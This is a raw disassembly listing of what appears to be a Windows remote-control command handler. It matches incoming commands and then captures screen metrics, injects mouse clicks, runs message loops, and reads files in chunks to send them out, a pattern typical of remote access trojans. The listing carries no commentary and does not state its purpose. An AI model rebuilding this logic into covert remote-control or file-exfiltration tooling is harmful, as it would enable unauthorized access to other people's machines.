jmp 0x41f065
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xec]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41f065
lea eax, [ebp - 0x83c4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83c4]
mov edx, 0x41fe3c
call fcn.00402da4
jne 0x41ce28
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x14]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x83c8]
call fcn.00402bd0
mov eax, dword [ebp - 0x83c8]
push eax
lea eax, [ebp - 0x83d0]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00402cac
mov eax, dword [ebp - 0x83d0]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x83cc]
call fcn.00402bd0
mov edx, dword [ebp - 0x83cc]
xor eax, eax
pop ecx
call fcn.00404ed8
cmp al, 1
jne 0x41cded
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xe8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41f065
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xec]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41f065
lea eax, [ebp - 0x83d4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83d4]
mov edx, 0x41fe50
call fcn.00402da4
jne 0x41d024
cmp dword [0x429cd0], 0
je 0x41ce75
mov eax, dword [0x429cd0]
call fcn.00405620
xor eax, eax
mov dword [0x429cd0], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
mov edx, dword [0x427494]
mov edx, dword [edx]
call fcn.00402a7c
mov eax, dword [ebp - 0x10]
call fcn.00405df4
cmp al, 1
jne 0x41cfe9
xor eax, eax
push ebp
push 0x41cfa4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4273e0]
mov edx, 0x1c
call fcn.004045b4
mov eax, dword [0x4273e0]
mov edx, dword [0x4273dc]
mov edx, dword [edx]
call fcn.00402a38
lea edx, [ebp - 0x83d8]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x83d8]
mov eax, dword [0x4273e0]
add eax, 0xc
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, dword [0x4273e0]
mov dword [edx + 4], eax
mov eax, dword [0x4273e0]
add eax, 8
mov edx, dword [0x429ce4]
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [0x4273e0]
mov dword [edx + 0x14], eax
mov eax, dword [0x4273e0]
add eax, 0x10
mov edx, dword [ebp - 4]
call fcn.00402a38
mov eax, dword [0x4273e0]
add eax, 0x18
mov edx, dword [0x4274c8]
mov edx, dword [edx + 0xf0]
call fcn.00402a38
mov ebx, dword [0x427548]
mov ebx, dword [ebx]
mov eax, dword [0x4273e0]
call ebx
mov eax, dword [ebp - 0x44]
mov dword [0x429cd0], eax
mov ebx, dword [0x4274e8]
mov ebx, dword [ebx]
xor eax, eax
call ebx
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x41cf90
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xf4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41f065
lea eax, [ebp - 0x83dc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83dc]
mov edx, 0x41fe64
call fcn.00402da4
jne 0x41d079
cmp dword [0x429cd0], 0
je 0x41d06d
mov eax, dword [0x429cd0]
call fcn.00405620
xor eax, eax
mov dword [0x429cd0], eax
jmp 0x41f065
lea eax, [ebp - 0x83e0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83e0]
mov edx, 0x41fe78
call fcn.00402da4
jne 0x41d1a5
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
cmp dword [0x429cdc], 0
je 0x41d114
mov ebx, dword [0x427430]
mov ebx, dword [ebx]
call ebx
mov eax, dword [0x429cdc]
call fcn.00405620
xor eax, eax
mov dword [0x429cdc], eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
push eax
mov eax, dword [ebp - 0x10]
call fcn.00406cd4
push eax
lea edx, [ebp - 0x83e4]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x83e4]
mov ebx, dword [0x427564]
mov ebx, dword [ebx]
mov eax, dword [0x4273dc]
mov eax, dword [eax]
mov ecx, dword [0x429ce4]
call ebx
mov eax, dword [ebp - 0x44]
mov dword [0x429cdc], eax
mov eax, dword [0x4274cc]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
jmp 0x41d185
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x41d173
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x83e8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83e8]
mov edx, 0x41fe94
call fcn.00402da4
jne 0x41d236
mov ebx, dword [0x427430]
mov ebx, dword [ebx]
call ebx
push 0x3e8
call sub.kernel32.dll_Sleep
cmp dword [0x429cdc], 0
je 0x41d202
mov eax, dword [0x429cdc]
call fcn.00405620
xor eax, eax
mov dword [0x429cdc], eax
push 0x1f4
call sub.kernel32.dll_Sleep
mov ebx, dword [0x427430]
mov ebx, dword [ebx]
call ebx
push 0x1f4
call sub.kernel32.dll_Sleep
mov ebx, dword [0x427430]
mov ebx, dword [ebx]
call ebx
jmp 0x41f065
lea eax, [ebp - 0x83ec]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83ec]
mov edx, 0x41feb0
call fcn.00402da4
jne 0x41d445
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_GetDC
mov edi, eax
push 8
push edi
call sub.gdi32.dll_GetDeviceCaps
mov ebx, eax
push 0xa
push edi
call sub.gdi32.dll_GetDeviceCaps
mov esi, eax
push edi
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_ReleaseDC
push 0x41fecc
lea edx, [ebp - 0x83f4]
mov eax, ebx
call fcn.00406bb8
push dword [ebp - 0x83f4]
push 0x41f0d8
lea edx, [ebp - 0x83f8]
mov eax, esi
call fcn.00406bb8
push dword [ebp - 0x83f8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 0x83f0]
mov edx, 6
call fcn.00402d20
mov edx, dword [ebp - 0x83f0]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408d54
push 0x1f4
call sub.kernel32.dll_Sleep
cmp dword [0x429ce0], 0
je 0x41d331
mov ebx, dword [0x427448]
mov ebx, dword [ebx]
call ebx
push 0x1f4
call sub.kernel32.dll_Sleep
mov eax, dword [0x429ce0]
call fcn.00405620
xor eax, eax
mov dword [0x429ce0], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
push eax
mov eax, dword [ebp - 0x10]
call fcn.00406cd4
push eax
mov eax, dword [ebp - 0x14]
call fcn.00406cd4
push eax
lea edx, [ebp - 0x83fc]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov ecx, dword [ebp - 0x83fc]
mov ebx, dword [0x427594]
mov ebx, dword [ebx]
mov eax, dword [0x4273dc]
mov eax, dword [eax]
mov edx, dword [0x429ce4]
call ebx
mov eax, dword [ebp - 0x44]
mov dword [0x429ce0], eax
mov eax, dword [0x42749c]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.004055fc
jmp 0x41d425
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x41d413
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8400]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8400]
mov edx, 0x41fef8
call fcn.00402da4
jne 0x41d4ae
mov ebx, dword [0x427448]
mov ebx, dword [ebx]
call ebx
push 0x1f4
call sub.kernel32.dll_Sleep
cmp dword [0x429ce0], 0
je 0x41d4a2
mov eax, dword [0x429ce0]
call fcn.00405620
xor eax, eax
mov dword [0x429ce0], eax
jmp 0x41f065
lea eax, [ebp - 0x8404]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8404]
mov edx, 0x41ff14
call fcn.00402da4
jne 0x41d75f
xor eax, eax
push ebp
push 0x41d748
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8408]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8408]
call fcn.00406cd4
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x840c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x840c]
call fcn.00406cd4
mov dword [ebp - 0x80], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8410]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8410]
call fcn.00406cd4
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8414]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8414]
call fcn.00406cd4
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8418]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8418]
call fcn.00406cd4
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x84], 0
je 0x41d6a4
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x84]
push eax
call sub.user32.dll_ClientToScreen
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_GetDC
mov ebx, eax
push 8
push ebx
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebp - 0x841c], eax
fild dword [ebp - 0x841c]
fdivr dword [0x41ff24]
fild dword [ebp - 0x30]
fmulp st(1)
call fcn.00401500
mov dword [ebp - 0x30], eax
push 0xa
push ebx
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebp - 0x841c], eax
fild dword [ebp - 0x841c]
fdivr dword [0x41ff24]
fild dword [ebp - 0x2c]
fmulp st(1)
call fcn.00401500
mov dword [ebp - 0x2c], eax
push ebx
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_ReleaseDC
mov eax, dword [ebp - 0x7c]
push eax
call sub.kernel32.dll_Sleep
push 0
push 0
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x30]
push eax
push 0x8001
call sub.user32.dll_mouse_event
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x80]
push eax
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41f065
lea eax, [ebp - 0x8420]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8420]
mov edx, 0x41ff30
call fcn.00402da4
jne 0x41d7c6
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [ebp - 4]
call fcn.00415f3c
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8424]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8424]
mov edx, 0x41ff40
call fcn.00402da4
jne 0x41d90c
mov eax, dword [0x4275e8]
cmp dword [eax], 0
jne 0x41f065
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427578]
call fcn.004029e4
mov eax, dword [0x427478]
mov edx, dword [ebp - 0x10]
call fcn.00402a38
mov eax, 0x420e4c
xor ecx, ecx
xor edx, edx
call fcn.004055fc
mov edx, dword [0x4275e8]
mov dword [edx], eax
push 0x41ff54
mov eax, dword [0x42757c]
push dword [eax]
push 0x41ff68
lea eax, [ebp - 0x842c]
push eax
lea edx, [ebp - 0x8434]
xor eax, eax
call fcn.00401448
mov eax, dword [ebp - 0x8434]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x8430]
call fcn.00402bd0
mov eax, dword [ebp - 0x8430]
mov ecx, 3
mov edx, 1
call fcn.00402eb4
mov eax, dword [ebp - 0x842c]
lea edx, [ebp - 0x8428]
call fcn.00404918
push dword [ebp - 0x8428]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41f065
lea eax, [ebp - 0x8438]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8438]
mov edx, 0x41ff74
call fcn.00402da4
jne 0x41d980
mov eax, dword [0x4275e8]
cmp dword [eax], 0
je 0x41f065
mov eax, dword [0x4275e8]
mov eax, dword [eax]
call fcn.00405620
mov eax, dword [0x427520]
mov eax, dword [eax]
call fcn.00420a54
mov eax, dword [0x4275e8]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x427578]
call fcn.004029e4
jmp 0x41f065
lea eax, [ebp - 0x843c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x843c]
mov edx, 0x41ff88
call fcn.00402da4
jne 0x41dbc9
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427478]
mov edx, dword [ebp - 0x10]
call fcn.00402a38
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [0x4275e8]
cmp dword [eax], 0
jne 0x41db1a
mov eax, dword [0x427578]
call fcn.004029e4
mov eax, dword [0x427478]
mov edx, dword [ebp - 0x10]
call fcn.00402a38
mov eax, 0x420e4c
xor ecx, ecx
xor edx, edx
call fcn.004055fc
mov edx, dword [0x4275e8]
mov dword [edx], eax
push 0x41ff54
mov eax, dword [0x42757c]
push dword [eax]
push 0x41ff68
lea eax, [ebp - 0x8444]
push eax
lea edx, [ebp - 0x844c]
xor eax, eax
call fcn.00401448
mov eax, dword [ebp - 0x844c]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x8448]
call fcn.00402bd0
mov eax, dword [ebp - 0x8448]
mov ecx, 3
mov edx, 1
call fcn.00402eb4
mov eax, dword [ebp - 0x8444]
lea edx, [ebp - 0x8440]
call fcn.00404918
push dword [ebp - 0x8440]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427544]
mov edx, dword [ebp - 0x14]
call fcn.00402a38
jmp 0x41db48
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427544]
mov edx, dword [ebp - 0x14]
call fcn.00402a38
lea eax, [ebp - 0x8095]
push eax
mov eax, dword [0x427520]
mov eax, dword [eax]
push eax
call sub.user32.dll_GetWindowRect
lea eax, [ebp - 0x80a5]
push eax
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x8099]
sub eax, dword [ebp - 0x80a1]
mov edx, dword [ebp - 0x8089]
sub edx, dword [ebp - 0x8091]
sub eax, edx
sar eax, 1
jns 0x41db8f
adc eax, 0
push eax
mov eax, dword [ebp - 0x809d]
sub eax, dword [ebp - 0x80a5]
mov edx, dword [ebp - 0x808d]
sub edx, dword [ebp - 0x8095]
sub eax, edx
sar eax, 1
jns 0x41dbb1
adc eax, 0
push eax
push 0x200
mov eax, dword [0x427520]
mov eax, dword [eax]
push eax
call sub.user32.dll_SendMessageA
jmp 0x41f065
lea eax, [ebp - 0x8450]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8450]
mov edx, 0x41ffa0
call fcn.00402da4
jne 0x41dcd9
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
push 0xb
lea eax, [ebp - 0x8454]
push eax
mov cx, 0xb
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.004075fc
mov edx, dword [ebp - 0x8454]
lea eax, [ebp - 0xc]
call fcn.00402a7c
lea eax, [ebp - 0x10]
call fcn.004029e4
mov edx, dword [ebp - 0xc]
mov eax, 0x41f374
call fcn.00402f98
dec eax
jle 0x41dcc7
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00402a7c
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 0x10]
mov eax, 0x41f374
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00402eb4
mov edx, dword [ebp - 0x10]
mov eax, 0x41f374
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.00402ef4
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00404864
jmp 0x41f065
lea eax, [ebp - 0x8458]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8458]
mov edx, 0x41ffb4
call fcn.00402da4
jne 0x41de98
push 5
call sub.kernel32.dll_Sleep
mov ebx, dword [0x4275f0]
mov ebx, dword [ebx]
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x54]
lea eax, [ebp - 0x50]
call ebx
push 0x41ffc8
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x845c]
call fcn.00406bb8
push dword [ebp - 0x845c]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x41de25
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41dda3
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41ddf0
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41dda3
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41de0b
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41dda3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41de2c
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x8468]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8468]
mov edx, 0x420004
call fcn.00402da4
jne 0x41e03d
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 5
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x846c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x846c]
call fcn.00406cd4
mov ebx, dword [0x4274ac]
mov ebx, dword [ebx]
lea edx, [ebp - 0xc]
call ebx
push 0x420020
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x8470]
call fcn.00406bb8
push dword [ebp - 0x8470]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x41e029
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41dfa7
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41dff4
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41dfa7
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
